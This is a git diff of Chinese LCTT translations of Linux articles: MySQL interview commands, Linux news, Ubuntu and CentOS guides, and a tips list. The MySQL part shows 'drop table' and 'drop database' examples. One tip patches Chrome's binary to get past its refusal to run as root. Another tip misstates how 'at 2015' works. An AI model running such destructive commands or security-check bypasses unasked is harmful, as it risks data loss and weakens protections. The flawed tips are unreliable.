statement. + + mysql> + +### 问题4:如何列出所有数据库? ### + +> **答案**:运行命令 **show databases;** + +- + + mysql> show databases; + +--------------------+ + | Database | + +--------------------+ + | information_schema | + | a1 | + | cloud | + | mysql | + | phpmyadmin | + | playsms | + | sisso | + | test | + | ukolovnik | + | wordpress | + +--------------------+ + 10 rows in set (0.14 sec) + +### 问题5: 如何切换到某个数据库并在上面工作? ### + +> **答案**:运行命令 **use database_name;** 进入名为 database_name 的数据库。 + +- + + mysql> use cloud; + Reading table information for completion of table and column names + You can turn off this feature to get a quicker startup with -A + + Database changed + mysql> + +### 问题6:如何列出某个数据库内所有表? ### + +> **答案**:在当前数据库运行命令 **show tables;** + +- + + mysql> show tables; + +----------------------------+ + | Tables_in_cloud | + +----------------------------+ + | oc_appconfig | + | oc_calendar_calendars | + | oc_calendar_objects | + | oc_calendar_repeat | + | oc_calendar_share_calendar | + | oc_calendar_share_event | + | oc_contacts_addressbooks | + | oc_contacts_cards | + | oc_fscache | + | oc_gallery_sharing | + +----------------------------+ + 10 rows in set (0.00 sec) + +### 问题7:如何获取表内所有 Field 对象的名称和类型? ### + +> **答案**:运行命令 **describe table_name;** + +- + + mysql> describe oc_users; + +----------+--------------+------+-----+---------+-------+ + | Field | Type | Null | Key | Default | Extra | + +----------+--------------+------+-----+---------+-------+ + | uid | varchar(64) | NO | PRI | | | + | password | varchar(255) | NO | | | | + +----------+--------------+------+-----+---------+-------+ + 2 rows in set (0.00 sec) + +### 问题8:如何删除表? ### + +> **答案**:运行命令 **drop table table_name;** + +- + + mysql> drop table lookup; + + Query OK, 0 rows affected (0.00 sec) + +### 问题9:如何删除数据库? ### + +> **答案**:运行命令 **drop database database-name;** + +- + + mysql> drop database a1; + + Query OK, 11 rows affected (0.07 sec) + +### 问题10:如何查看表内所有数据? ### + +> **答案**:运行命令 **select * from table_name;** + +- + + mysql> select * from engines; + +------------+---------+----------------------------------------------------------------+--------------+------+------------+ + | ENGINE | SUPPORT | COMMENT | TRANSACTIONS | XA | SAVEPOINTS | + +------------+---------+----------------------------------------------------------------+--------------+------+------------+ + | InnoDB | YES | Supports transactions, row-level locking, and foreign keys | YES | YES | YES | + | MRG_MYISAM | YES | Collection of identical MyISAM tables | NO | NO | NO | + | BLACKHOLE | YES | /dev/null storage engine (anything you write to it disappears) | NO | NO | NO | + | CSV | YES | CSV storage engine | NO | NO | NO | + | MEMORY | YES | Hash based, stored in memory, useful for temporary tables | NO | NO | NO | + | FEDERATED | NO | Federated MySQL storage engine | NULL | NULL | NULL | + | ARCHIVE | YES | Archive storage engine | NO | NO | NO | + | MyISAM | DEFAULT | Default engine as of MySQL 3.23 with great performance | NO | NO | NO | + +------------+---------+----------------------------------------------------------------+--------------+------+------------+ + 8 rows in set (0.00 sec) + +### 问题11:如何从表(比如 oc_users )中获取一个 field 对象(比如 uid)的所有数据? ### + +> **答案**:运行命令 **select uid from oc_users;** + +- + + mysql> select uid from oc_users; + +-----+ + | uid | + +-----+ + | avi | + +-----+ + 1 row in set (0.03 sec) + +### 问题12:假设你有一个名为 ‘xyz’ 的表,它存在多个字段,如 ‘create_time’ 和 ‘engine’。名为 engine 的字段由 ‘Memoty’ 和 ‘MyIsam’ 两种数值组成。如何只列出 ‘create_time’ 和 ‘engine’ 这两列并且 engine 的值为 ‘MyIsam’? ### + +> **答案**:运行命令 **select create_time, engine from xyz where engine = ”MyIsam”;** + +- + + mysql> select create_time, engine from xyz where engine="MyIsam"; + + +---------------------+--------+ + | create_time | engine | + +---------------------+--------+ + | 2013-12-15 13:43:27 | MyISAM | + | 2013-12-15 13:43:27 | MyISAM | + | 2013-12-15 13:43:27 | MyISAM | + | 2013-12-15 13:43:27 | MyISAM | + | 2013-12-15 13:43:27 | MyISAM | + | 2013-12-15 13:43:27 | MyISAM | + | 2013-12-15 13:43:27 | MyISAM | + | 2013-12-15 13:43:27 | MyISAM | + | 2013-10-23 14:56:38 | MyISAM | + | 2013-10-23 14:56:38 | MyISAM | + | 2013-10-23 14:56:38 | MyISAM | + | 2013-10-23 14:56:38 | MyISAM | + | 2013-10-23 14:56:38 | MyISAM | + | 2013-10-23 14:56:38 | MyISAM | + | 2013-10-23 14:56:38 | MyISAM | + +---------------------+--------+ + 132 rows in set (0.29 sec) + +### 问题13:如何列出表 ‘xrt’ 内 name 域值为 ‘tecmint’,web_address 域值为 ‘tecmint.com’ 的所有数据? ### + +> **答案**:运行命令 **select * from xrt where name = “tecmint” and web_address = “tecmint.com”;** + +- + + mysql> select * from xrt where name = "tecmint" and web_address = “tecmint.com”; + +---------------+---------------------+---------------+ + | Id | name | web_address | + +---------------+---------------------+----------------+ + | 13 | tecmint | tecmint.com | + +---------------+---------------------+----------------+ + | 41 | tecmint | tecmint.com | + +---------------+---------------------+----------------+ + +### 问题14:如何列出表 ‘xrt’ 内 name 域值不为 ‘tecmint’,web_address 域值为 ‘tecmint.com’ 的所有数据? ### + +> **答案**:运行命令 **select * from xrt where name != "tecmint" and web_address = "tecmint.com";** + +- + + mysql> select * from xrt where name != ”tecmint” and web_address = ”tecmint.com”; + + +---------------+---------------------+---------------+ + | Id | name | web_address | + +---------------+---------------------+----------------+ + | 1173 | tecmint | tecmint.com | + +---------------+---------------------+----------------+ + +### 问题15:如何知道表内行数? + +> **答案**:运行命令 **select count(*) from table_name;** + +- + + mysql> select count(*) from Tables; + + +----------+ + | count(*) | + +----------+ + | 282 | + +----------+ + 1 row in set (0.01 sec) + +以上是文章的全部内容。这篇‘**Linux 面试题**’对您有任何帮助吗?别忘了在下面留言,写出您的宝贵意见。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/basic-mysql-interview-questions-for-database-administrators/ + +译者:[bazz2](https://github.com/bazz2) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-2315-1.html +[2]:http://linux.cn/article-2370-1.html +[3]:http://linux.cn/article-2371-1.html diff --git "a/published/201401/2013\357\274\232The Golden Year for Linux \342\200\223 10 Biggest Linux Achievements.md" "b/published/201401/2013\357\274\232The Golden Year for Linux \342\200\223 10 Biggest Linux Achievements.md" new file mode 100644 index 0000000000..b2dbf98e80 --- /dev/null +++ "b/published/201401/2013\357\274\232The Golden Year for Linux \342\200\223 10 Biggest Linux Achievements.md" @@ -0,0 +1,56 @@ +2013:Linux的黄金之年-十大杰出成就 +================================================================================ + +**2013年**已经过去。这一年见证了许多里程碑事件,使得2013年可以称得上是一个**Linux的黄金之年**。其中一些成果在**FOSS**和**Linux**世界更可以称得上是举世瞩目的成就。 + +![2013 Year of Linux](http://www.tecmint.com/wp-content/uploads/2013/12/Year-2013-Linux.jpg) + +### 1.Android的上升趋势 ### + +2013年,Android手机达到了每日**150万**的激活量记录。不用说,正是Android的**Linux内核**以及它在该方面的狂热贡献使其达到了今天的标杆地位,这一趋势还将在未来的日子里一直持续下去。 + +### 2. Raspberry pi 树莓派 ### + +**Raspberry pi**,低成本单片计算机历史上的最伟大发明之一。它在学校和其他很多地方极大地推广了Linux,同时在FOSS社区中也有很高的欢迎程度,这一状况也仍将继续。 + +### 3. Debian上太空 ### + +Debian,众多优秀Linux发行版中的其中一款高端发行版。2013年三月下旬的一次**航天飞机**任务中就使用了Debian负责实验的控制。实验的主要内容是尝试无土植物栽培的新方法,从而为宇航员提供空气和食物。 + +### 4. SteamOS的崛起 ### + +SteamOS,基于Debian发行版,用于**Stream Machine Game Console游戏终端**,已经于**2013年12月**中旬发布。GNU/Linux开始涉足于游戏环境,这对广大宅男极客来说当然是喜闻乐见喜大普奔。 + +### 5. Linux的平板应用 ### + +查看**亚马逊**的平板销量,排名前十的平板都是Android操作系统。苹果和微软的平板则排在第11和12位,远远地被抛在后面,这对于FOSS社区来说确实是一个振奋人心的消息。 + +### 6. Chromebooks ### + +Chromebooks之所以能在笔记本电脑市场赢得一席之地,是由于比起微软等专属平台,诸如三星,华硕等许多高端制造商给了GNU/Linux类操作系统更多的空间。 + +### 7. The Firefox OS 火狐操作系统 ### + +Firefox OS是基于Linux和FOSS的开源操作系统,主要用于智能手机和平板,发布于**2013年4月**下旬。基于**ARM**构架的移动设备Linux发行版显示出了广阔的前景。 + +### 8. Kali发布 ### + +来自BackTrack Linux的开发者发布了**Kali Linux**。Kali是是基于Debian的Linux发行版,其母系统或者说其前身(BT Linux),主要用于渗透测试,并分享了大量的Debian版本库,成为了最为丰富的一个发行版。Kail仍保持着在刚发布后的很短时间内超高下载量的记录。 + +### 9. Android Kitkat ### + +尽管之前预测的发布版本是**5.0 Key Lime Pie**,经过万众期待后,最新发布的android版本被命名为**Kitkat**,Google宣布**Android 4.4**又名**KitKat 4于2013年9月发布**。Kitkat进行了优化更新,能在具有最小的**512 MB内存**的设备上运行,这样就能够支持众多各种各样的设备。 + +### 10. Linux 在汽车上的应用 ### + +截至目前,Linux被应用于各种设备,从腕表到遥控器,再到太空飞船,所以**Linux在汽车上的应用**并不让人意外。但当Linux的作用表现在**汽车趋势杂志**的年度车上时仍然令人惊讶。2013年被选为优胜候选的两个车型,都运行Linux系统。 + +2013年已经过去,但故事远没有结束,我们可能错过了一些重要的里程碑,你可以在评论部分告诉我们。2014年,未来,还在继续…… + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/2013-the-golden-year-for-linux-and-foss/ + +译者:[乌龙茶](https://github.com/yechunxiao19) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201401/2014--The year of the Linux car.md b/published/201401/2014--The year of the Linux car.md new file mode 100644 index 0000000000..a152bfddaf --- /dev/null +++ b/published/201401/2014--The year of the Linux car.md @@ -0,0 +1,47 @@ +2014:Linux汽车之年? +================================================================================ +> 你看得没错:不是Linux桌面之年,是Linux汽车之年。大量的汽车公司正在投资使Linux成为他们汽车的操作系统选择。 + +当你想起Linux,你也许会想起服务器,桌面操作系统,或者Android 智能手机/平板。你几乎肯定不会考虑汽车吧,但是,Linux确实已经运行在许多汽车的引擎盖下了,也许很快它将会扮演一个非常重大的角色。 + +![](http://cdn-static.zdnet.com/i/r/story/70/00/014091/auto-linux-455x269.png) + +*向运行在汽车引擎盖下的linux问声好* + +Matt Jones在加里福利亚的旧金山召开的[Linux基金会][1] 的 [Linux合作高峰会][2]上带来这个消息。Jones是[捷豹路虎][3]的娱乐系统的一个高级技术专家,也是一个旨在推动汽车行业应用车载娱乐信息的开源开发平台的非盈利组织--[GenIVI Alliance][4]的副总裁, + +Jones说,捷豹路虎已经询问他们的顾客需要什么,不需要什么,比如在他们的车上有一个全功能的家庭娱乐网络。当然,你可以在前仪表盘放一个高清品质的、在城市交通上提供高速网络的显示器,解决一个超出了汽车行业范围之外的问题。 + +汽车企业能做什么,他们正致力于[AGL][5]( Automotive Grade Linux,汽车级Linux)--一个Linux基金会的下级小组,提供一个公共的操作系统和应用程序接口(API)。通过它的支持,汽车制造商可以专注于实现应用程序而不用担心操作系统下层结构。毕竟,正如Jones 说道:“你上次是什么时候买了一辆基于操作系统的车?” + +在他的演讲里面,Jones宣布AGL已经发布一个[车载信息娱乐、远程汽车娱乐操作系统和应用程序开发包][6]原型。这是一个基于Linux开源镜像创建的车载娱乐系统,拥有一个控制器区网络CAN、一个车载总线标准、API;一个HTML5应用程序框架;及简单用户接口。 + +Jones 说:“我们(捷豹路虎)已经加入AGL来使之开源并让Linux使用在整个汽车中,专注方便于开发者有可参考的硬件和软件平台。这样的技术已经在大量地车载,但是之前没有人提供出来”所以如果你准备Hack一个汽车的话,AGL已经有了你需要的工具。 + +AGL和捷豹路虎也给了开发者开始汽车hacking的原因。他们联合举办了开发者竞赛:[2013 AGL User Experience Contest][7]。比赛胜利者将会得到机会在AGL或者捷豹路虎工作。 + +比赛有三个类别:最好用户体验,最好视觉外观,和最好概念或者是可扩展的特征。这个比赛在4月15日 - 5月17日举行,胜利者将会在5月底东京举行的[汽车Linux峰会][8]上宣布。如果你和Linux以及汽车一起工作,这似乎就像是在一个在底层的理想机会。 + +相关链接: + +- [Tizen Linux heads for vehicles as car makers and tech firms form workgroup][9] +- [The Open-Source Car][10] + +-------------------------------------------------------------------------------- + +via: http://www.zdnet.com/2014-the-year-of-the-linux-car-7000014091/ + +译者:[Vic___](http://blog.csdn.net/Vic___) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://events.linuxfoundation.org/ +[2]:http://events.linuxfoundation.org/events/collaboration-summit +[3]:http://www.jaguarlandrover.com/index.html +[4]:http://www.genivi.org/ +[5]:http://automotive.linuxfoundation.org/ +[6]:http://automotive.linuxfoundation.org/agl-demonstrator +[7]:http://automotive.linuxfoundation.org/2013-agl-user-experience-contest +[8]:http://events.linuxfoundation.org/events/automotive-linux-summit-spring +[9]:http://www.zdnet.com/tizen-linux-heads-for-vehicles-as-car-makers-and-tech-firms-form-workgroup-7000004491/ +[10]:http://www.zdnet.com/blog/open-source/the-open-source-car/9193 diff --git a/published/201401/5 Things To Love And Hate About Ubuntu 13.10.md b/published/201401/5 Things To Love And Hate About Ubuntu 13.10.md new file mode 100644 index 0000000000..332a7a850a --- /dev/null +++ b/published/201401/5 Things To Love And Hate About Ubuntu 13.10.md @@ -0,0 +1,57 @@ +Ubuntu 13.10让人又爱又恨的五件事 +================================================================================ +Ubuntu 13.10发布前后引起了很大的反响。这个操作系统让Canonical达到了一个全新的等级,尤其是在2013年这样一个Linux大年。但现在已经尘埃落定,外界的声音也小了,让我们看看这个系统让你喜欢的五件事,和让你讨厌的五件事。 + +![](http://d1piko3ylsjhpd.cloudfront.net/uploads/roboto/slide/image/83076/slide_image_010614-ubuntuLOVE-HATE-1.jpg) + +### 爱 ### + +![](http://d1piko3ylsjhpd.cloudfront.net/uploads/roboto/slide/image/83077/slide_image_010614-ubuntuLOVE-HATE-2.jpg) + +**OpenStack APIs**:Ubuntu 13.10兼容OpenStack APIs。事实上,内部和外部Ubuntu-主机云现在与OpenStack APIs兼容。 + +![](http://d1piko3ylsjhpd.cloudfront.net/uploads/roboto/slide/image/83078/slide_image_010614-ubuntuLOVE-HATE-3.jpg) + +**GUI**: Unity的GUI正在从个人电脑到智能手机和平板电脑很好的转变。 + +![](http://d1piko3ylsjhpd.cloudfront.net/uploads/roboto/slide/image/83079/slide_image_010614-ubuntuLOVE-HATE-4.jpg) + +**升级后的Dashboard**: 为用户提供了搜索甚至是Ubuntu One cloud的Ubuntu Dash已经升级了。 + +![](http://d1piko3ylsjhpd.cloudfront.net/uploads/roboto/slide/image/83080/slide_image_010614-ubuntuLOVE-HATE-5.jpg) + +**好用的Juju**: 在活泼的火蜥蜴中,您可以使用Juju在Linux容器或LXC中创建应用程序实例。 + +![](http://d1piko3ylsjhpd.cloudfront.net/uploads/roboto/slide/image/83081/slide_image_010614-ubuntuLOVE-HATE-6.jpg) + +**GUI更加顺滑**:也许正因为它的多功能性,活泼的火蜥蜴的漂亮的用户界面比过去版本的用户界面更为顺滑。 + +### 恨 ### + +![](http://d1piko3ylsjhpd.cloudfront.net/uploads/roboto/slide/image/83082/slide_image_010614-ubuntuLOVE-HATE-7.jpg) + +**没有Mir**: Unity界面还没有从X.org转移到Mir 编译器。这是让很多人失望的主要的地方。 + +![](http://d1piko3ylsjhpd.cloudfront.net/uploads/roboto/slide/image/83083/slide_image_010614-ubuntuLOVE-HATE-8.jpg) + +**没有MariaDB**: MySQL数据库的替代产品——MariaDB尚未被Canonical引入。这与其说让人失望,不如说是让人震惊,因为大多数其他发行版已经这么做了。Canonical的Ubuntu 13.10还在用MySQL作为LAMP的默认数据库。 + +![](http://d1piko3ylsjhpd.cloudfront.net/uploads/roboto/slide/image/83084/slide_image_010614-ubuntuLOVE-HATE-9.jpg) + +**老版本的landscape管理工具**:Canonical的landscape服务还不够先进,实际上,甚至比微软的跟着Windows发布的系统中心还要古老。 + +![](http://d1piko3ylsjhpd.cloudfront.net/uploads/roboto/slide/image/83085/slide_image_010614-ubuntuLOVE-HATE-10.jpg) + +**只支持两款手机**:现在只有Galaxy Nexus4和Galaxy Nexus智能手机支持Ubuntu 13.10。此外,这两个设备只能使用核心和shell程序。 + +![](http://d1piko3ylsjhpd.cloudfront.net/uploads/roboto/slide/image/83086/slide_image_010614-ubuntuLOVE-HATE-11.jpg) + +**LXC仍然是测试版**: 我们说Juju和LXC一起使用,但LXC本身仍在测试模式。它今年2月应该能出一个稳定版。 + +-------------------------------------------------------------------------------- + +via: http://www.networkworld.com/slideshow/134353/ubuntu-1310-5-things-we-love-5-things-we-hate.html + +译者:[Kingname](https://github.com/kingname) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201401/8 Interesting Linux Tips And Tricks!.md b/published/201401/8 Interesting Linux Tips And Tricks!.md new file mode 100644 index 0000000000..8597c37ca7 --- /dev/null +++ b/published/201401/8 Interesting Linux Tips And Tricks!.md @@ -0,0 +1,168 @@ +8个有趣的Linux提示与技巧! +================================================================================ + +我们时不时给你带来关于Linux的提示与技巧。和这个系列保持一致,这里有8个我们从读者收到最有趣的提示和技巧。我们希望你喜欢它。请继续读下去。。。 + +![](http://www.efytimes.com/admin/useradmin/photo/j4lm23703PM1182014.jpg) + +### 以它们的大小列出文件 ### + +如果你想要一个基于它们大小排序的文件列表,你可以使用下面的命令。 + +它会以递减顺序排列文件。 + + # ls -l | grep ^- | sort -nr -k 5 | more + +如果你想要递归地做相同的事,你可以使用下面的第二个命令。 + + # ls -lR | grep ^- | sort -nr -k 5 | more + +*—Sumedh Gajbhiye, +sumedh.gajbhiye1985@gmail.com* + +### 重置奇怪的终端 ### + +如果感觉你的bash终端错误地显示垃圾的提示字符信息,并无论你输入任何命令都显示非ASCII字符-下面的命令可以让事情回到正轨。 + +在终端盲打输入(译注:因为你其实看不到你输入的这些字符的正确显示,不过尽管输入好了!)下面的命令并按回车: + + # reset + +如果那个不能修复这个问题,试一下下面的: + + # stty sane + +*—Sudheer Divakaran, +cdsudheer@gmail.com* + +### 记录并回放终端会话 ### + +下面是一个简单的贴士来记录并回放终端回放。它通过使用命令script和scriptreplay。 + +这在使用终端制作教程时非常方便。 + +要开始记录你的终端会话,使用下面的命令: + + $ script -t 2> timing.log -a output.session + +接着输入: + + $ ls + $touch test + ..... + + $ exit + +这里,script命令取两个文件作为参数timing.log(它记录了每个命令执行的时间信息)和output.session(存储了命令的输出)。 + +现在,要回访记录的会话,使用下面所示的scriptplay。 + + $ scriptreplay timing.log output.session + +注:timing.log和output.session可以被任何想要在自己的终端上重放会话的人使用。 + +*—Abhishek Singh, +abhishekkumarsingh.cse@gmail.com* + +### 使用shell脚本生成随机数 ### + +有时当你想要用shell脚本编程时,可能需要生成一个随机数来用于脚本。 + +这里是获得一个3位随机数的代码。 + + var=$(dd if=/dev/urandom count=1 2> /dev/null | cksum | cut -f1 -d” “ | cut -c 3-5); + +这回存储随机生成的数字在名为var的变量中。 + +*—Arpan Chavda, +09bce006@nirmauni.ac.in* + +### 以root用户运行Linux上的软件 ### + +作为一名root用户,为了让某些不能在root身份运行的软件运行(译注:典型的是google chrome),你需要在软件的二进制文件中改变geteuid调用为getppid。 + +这个技术在操作系统中非常有用,比如backtrack,这里的大多数安装工作都以root用户完成。 + +比如:为了以root用户运行Google Chrome,使用下面的命令: + + # hexedit /opt/google/chome/chrome + +接着按下Ctrl+S并在16进制转储文件中搜寻geteuid字符串。用字符串getppid代替。按下Ctrl+X来保存并退出编辑器。 + +现在浏览器就可以以root用户运行了。 + + # google-chrome + +*—Mayank Bhanderi, +mbhanderi24@gmail.com* + +### 用gzip压缩优化你的站点 ### + +压缩是一种简单、有效的方法来节约带宽和加速你的站点。在压缩的帮助下,多数站点的主页面会从100KB变成10KB。 + +为了在Apache Web服务器中启用这个特性,你需要在httpd.conf中包含deflate_module,并且在Apache配置文件中加入下面的行 (/etc/httpd/conf/httpd.conf)来压缩text、html、 javascript、 css 和 xml 文件: + + AddOutputFilterByType DEFLATE text/plain + AddOutputFilterByType DEFLATE text/html + AddOutputFilterByType DEFLATE text/xml + AddOutputFilterByType DEFLATE text/css + AddOutputFilterByType DEFLATE application/xml + AddOutputFilterByType DEFLATE application/xhtml+xml + AddOutputFilterByType DEFLATE application/rss+xml + AddOutputFilterByType DEFLATE application/javascript + AddOutputFilterByType DEFLATE application/x-javascript + +*—Munish Kumar, +munishtotech@gmail.com* + +### 在登陆时检查服务器负载信息 ### + +这里有一个贴士来在你登陆服务器的时候检查服务器平均负载。创建一个sload.sh的文本文件,内容如下: + + #!/bin/bash + gh=$(uptime | awk -F, ‘{print $3}’) + echo -e “Server$gh\n” + +现在,为了在登陆时检查服务器负载,通过/root/.bashrc调用sload.sh脚本。 + +记住如下设置脚本权限: + + # chmod 755 /root/sload.sh + +要调用sload.sh脚本,如下在/root/.bashrc后追加 + + /root/sload.sh + +或者你还可以这样追加sload.sh的内容到.bashrc中。 + + $echo “/root/sload.sh” >> /root/.bashrc + +当你完成上面的步骤后,你可以登出并再次登陆来查看服务器负载。 + +*—Ranjith Kumar T, +ranjith.stc@gmail.com* + +### 在特定时间开始你的任务 ### + +你可以使用下面的命令来在特定时间调度你的作业: + + # at 2015 + + > >vlc /music/rockstar.mp3 + +这个命令会在2015小时后使用vlc播放器播放rockstar.mp3。你可以在at命令后跟上-l选项来检查挂起的作业: + + # at -l + +更多at命令的信息可以在man页找到。 + +*—Manas Pradhan, +acmeofmanas@gmail.com* + +-------------------------------------------------------------------------------- + +via: http://www.efytimes.com/e1/fullnews.asp?edid=127250 + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201401/CentOS 6.5 desktop installation guide with screenshots.md b/published/201401/CentOS 6.5 desktop installation guide with screenshots.md new file mode 100644 index 0000000000..a63102c5ce --- /dev/null +++ b/published/201401/CentOS 6.5 desktop installation guide with screenshots.md @@ -0,0 +1,141 @@ +图解 CentOS 6.5 桌面版安装 +================================================================================ +### CentOS 6.5 新版本发布 ### + +随着RHEL 6.5新版本的发布,[CentOS 6.5][1]在12月1号准时跟上。现在是时间来玩弄它了。如果想要从已经安装好的6.4系统升级到6.5,只要简单的使用* yum update *命令,然后就是见证奇迹的时刻。 + +CentOS 6.5 迎来了新的更新包和新功能。可以在[release notes][2]中查看更多细节信息。 + +### 主要更新 ### + +- 精密时间协议 - 以前仅是一个科技预览版 - 现在已经完整支持了!以下设备支持网络时间戳:bnx2x,tg3 , e1000e , igb , ixgbe ,sfc。 +- OpenSSL 升级到1.0.1版本 +- OpenSSL、NSS支持TLS1.1和1.2 +- KVM得到大量加强。包括提升对VMDK文件和VHDX文件的只读,CPU支持热插拔以及升级了 virt-v2v-/virt-p2v-conversion 工具 +- Hyper-V 和 VMware 驱动升级 +- 升级到 Evolution(2.32)和 Libre Office(4.0.4) + +### 下载 ### + +这篇教程我们将要安装它的桌面版。你可以从下面的任意一个url开始 + +[http://isoredirect.centos.org/centos-6/6.5/isos/][3] +[http://mirror.centos.org/centos/6.5/isos/][4] + + +选择你的机器制式,它会列出一张镜像表。进入任何一个镜像、得到种子文件下载或者直接下载iso链接。有许多选择下载方式可以选择,比如,LiveCD, LiveDVD, Dvd1+2双碟套装, Minimal最小化安装 和 Netinstall. + +Minimal最小化安装是一个基于文字界面的安装程序,这样安装的CentOS将只有shell和最少软件应用程序。剩余的所有东西不得不你自己通过yum安装。 + +LiveCD/LiveDVD提供桌面版和GUI安装程序,可以安装CentOS系统但是不提供任何可选择的软件包。 + +DvD1+2双碟套装给有需求的人提供完整的应用程序集合 + +netinstall 事实上会先下载安装镜像然后再安装 + +这篇文章我们将使用LiveCD。 它大概有650MB。 +尽管CentOS主要使用在服务器上,但它有一个桌面系统可以帮助你的服务器在安装时创造一个基础GUI的安装环境。在其他文章,我们将会尝试minimal 和 netinstall安装方法。 + + +### 安装 ### + +所以现在,该是时候在你的桌面系统安装CentOS了。快点使用LiveDVD或者是LiveCD去启动运行吧! + + +1.放入媒体然后重启。启动菜单有多个带说明的选项。选择Boot进入Live桌面。 + + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-1.png) + +2.在桌面上双击下列安装图标,开启anaconda安装器。 + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-2.png) + +3.进入安装向导,点击Next(下一步) + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-3.png) + +4.**键盘布局** - 这一步会询问你,选择你的键盘布局。(译注:推荐选择U.S. English) + + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-4.png) + +5.**存储类型**完成键盘布局的选择,接下来的是选择用来安装CentOS的存储类型。对于本地硬盘启动,应该选择Basic storage。 + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-5.png) + +6.**主机名** 下一步 anaconda 安装器会询问主机名。所以填入适当的词。如果不确定,随意输入一个(译注:主机名hostname可以随时更改)。 + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-6.png) + +7.**时区选择** 接下来选择时区选项。 + + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-7.png) + +8.**Root 密码** 下面是输入 root 密码 ,最好是输入一个你熟悉但要足够强壮的密码。 + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-8.png) + +9.**规划分区** 现在向导想要知道,你将要怎么规划存储设备。 +如果你需要自己规划分区,选择 “Custom Layout” 并根据需要分区。为了这篇教程的目的,我们选择了第一个选项,那就是使用整个设备并让CentOS用它喜欢的规划自动分区。 + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-9.png) + +10.**复制文件** 现在安装已经开始复制文件了。现在除了等待和盯着没有什么事情可以做。LiveCD安装器基本上从CD镜像上复制到硬盘上。你没有得到任何安装包的选项去选择安装或省略。而且liveCD本身只自带了很少的软件和应用程序。 + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-10.png) + +### 安装完毕后配置 ### + +11.在安装完毕后会自动重启,欢迎向导将出现来进一步配置系统。 + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-11.png) + +12.许可证协议 就像所有CentOS的软件一样会有一个很小只有几行的许可证。所以同意吧! + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-12.png) + +13.**创建用户** 现在为自己创建一个使用系统的普通用户。 + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-13.png) + +14.**当前日期和时间** 输入当前日期和时间并且选择使用网络自动同步时间。 + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-14.png) + +15.**Kdump**这是欢迎向导的最后一步,询问Kdump应该是开启还是关闭。推荐开启它。 + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-install-screenshot-15.png) + +### 开始使用 CentOS 6.5 ### + +结束完之前步骤,系统将会重启,最后引导到登陆界面。 + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-login.png) + +登陆之后,迎来的金光闪闪的CentOS 6.5 的桌面! + +![](http://www.binarytides.com/blog/wp-content/uploads/2013/12/centos-65-desktop.png) + + +希望你喜欢这篇安装指南,可以在下方留下你的评论和问题。 + +### 资源 ### + +CentOS 6.5 release notes(版本记录) +[http://wiki.centos.org/Manuals/ReleaseNotes/CentOS6.5][5] + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/centos-6-5-installation-screenshots/ + +译者:[Vic___](http://blog.csdn.net/Vic___) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://lists.centos.org/pipermail/centos-announce/2013-December/020032.html +[2]:http://wiki.centos.org/Manuals/ReleaseNotes/CentOS6.5 +[3]:http://isoredirect.centos.org/centos-6/6.5/isos/ +[4]:http://mirror.centos.org/centos/6.5/isos/ +[5]:http://wiki.centos.org/Manuals/ReleaseNotes/CentOS6.5 diff --git "a/published/201401/Command Line Basics \342\200\223 watch.md" "b/published/201401/Command Line Basics \342\200\223 watch.md" new file mode 100644 index 0000000000..5731133174 --- /dev/null +++ "b/published/201401/Command Line Basics \342\200\223 watch.md" @@ -0,0 +1,65 @@ +Linux 基础命令 – watch +================================================================================ +linux系统里有一些日志文件。观察这些日志文件是系统管理员的一个重要任务。你可以很方便地[使用tail命令][1]观察它们。但是如果你想要长时间监视这些文件,每几分钟使用tail检查那些日志文件是一件很乏味的事情。你可以写一个短小的[无限循环的脚本][2]来周期性地检查文件,但其实已经有一个程序可以为你处理这种重复的任务。 + +### Linux watch 命令 ### + +Linux中的**watch** 命令提供了一种方式处理重复的任务。默认**watch**会每2秒重复执行命令。你一定也想到了,watch是一个很好的观察log文件的工具。下面是一个例子。 + + watch tail /var/log/syslog + +想要停止命令的执行,只要使用标准的kill流程, **[Ctrl]+C**。 + +![使用Linux watch命令监测syslog](http://tuxtweaks.com/wp-content/uploads/2013/12/Watch_01_wm.png) +*使用Linux watch命令监测syslog* + 